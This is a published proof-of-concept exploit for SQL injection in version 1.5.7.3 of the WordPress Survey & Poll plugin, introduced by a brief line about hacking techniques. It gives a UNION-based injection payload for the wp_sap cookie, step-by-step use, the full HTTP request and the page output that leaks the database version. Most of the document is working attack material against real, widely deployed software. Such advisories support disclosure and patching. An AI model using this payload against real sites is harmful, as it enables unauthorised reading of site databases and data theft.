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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Wordpress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection
# Date: 2018-09-09
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: http://modalsurvey.pantherius.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
# Version: 1.5.7.3
# Tested on: Windows 10
# CVE: N\A

# Description
# The vulnerability allows an attacker to inject sql commands using a value of a cookie parameter. 

# PoC
# Step 1. When you visit a page which has a poll or survey, a question will be appeared for answering.
# Answer that question.
# Step 2. When you answer the question, wp_sap will be assigned to a value. Open a cookie manager, 
# and change it with the payload showed below;

["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

# It is important that the "OR" statement must be 1=2. Because, application is reflecting the first result 
# of the query. When you make it 1=1, you should see a question from firt record. 
# Therefore OR statement must be returned False.

# Step 3. Reload the page. Open the source code of the page. Search "sss_params". 
# You will see the version of DB in value of sss_params parameter. 

# The Request

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]	
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# The result from source code of the page

<script type='text/javascript'>
/* <![CDATA[ */
var sss_params = {"survey_options":"{\"options\":\"[\\\"center\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"-webkit-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-moz-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-ms-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-o-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/www.*****.com\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.******.com\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1101225978\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"Are You A First Time Home Buyer?\",\"Yes\",\"No\"],[\>>>>>>"10.1.36-MariaDB-1~trusty\"<<<<<<<]]}"};
/* ]]> */
</script>

DB version: "10.1.36-MariaDB-1~trusty"....